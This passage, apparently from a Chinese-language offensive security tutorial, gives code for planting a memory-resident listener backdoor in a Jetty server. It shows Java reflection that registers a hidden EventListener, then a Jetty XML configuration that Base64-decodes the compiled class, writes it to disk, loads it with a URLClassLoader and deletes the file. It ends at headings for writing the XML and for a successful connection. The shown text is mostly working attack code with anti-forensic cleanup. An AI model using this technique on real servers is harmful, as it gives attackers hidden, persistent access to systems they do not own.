Field f_javax_api = source.getDeclaredField("JAVAX_API");
f_javax_api.setAccessible(true);
Object holder = newListenerHolder.invoke(handler, f_javax_api.get(null));
Method setListener = holder.getClass().getDeclaredMethod("setListener", EventListener.class);
Method addListener = handler.getClass().getDeclaredMethod("addListener", holder.getClass());
Object listener = MemListener.newInstance();
setListener.invoke(holder, listener);
addProgrammaticListener.setAccessible(true);
addProgrammaticListener.invoke(context, listener);
addListener.invoke(handler, holder);
Method start = holder.getClass().getSuperclass().getSuperclass().getDeclaredMethod("start");
start.invoke(holder);
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
将上面的代码编译,然后Base64编码后放入到XML文件中:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "http://www.eclipse.org/jetty/configure_9_3.dtd">
<Configure class="org.eclipse.jetty.webapp.WebAppContext">
<Set name="contextPath">/xxx</Set>
<Call class="java.util.Base64" name="getDecoder">
<Call id="classbyte" name="decode">
<Arg>静态类字节码Base64</Arg>
</Call>
</Call>
<New id="os" class="java.io.FileOutputStream">
<Arg>类名.class</Arg>
<Arg type="boolean">false</Arg>
<Call name="write">
<Arg>
<Ref refid="classbyte" />
</Arg>
</Call>
<Call name="close"></Call>
</New>
<New id="file" class="java.io.File">
<Arg>./</Arg>
<Call id="url" name="toURL"></Call>
</New>
<New id="url_classloader" class="java.net.URLClassLoader">
<Arg>
<Array type="java.net.URL">
<Item>
<Ref refid="url" />
</Item>
</Array>
</Arg>
<Call name="loadClass">
<Arg>类名</Arg>
<Call name="newInstance"></Call>
</Call>
</New>
<New class="java.io.File">
<Arg>类名.class</Arg>
<Call name="delete"></Call>
</New>
</Configure>
写入该XML文件:
成功连接: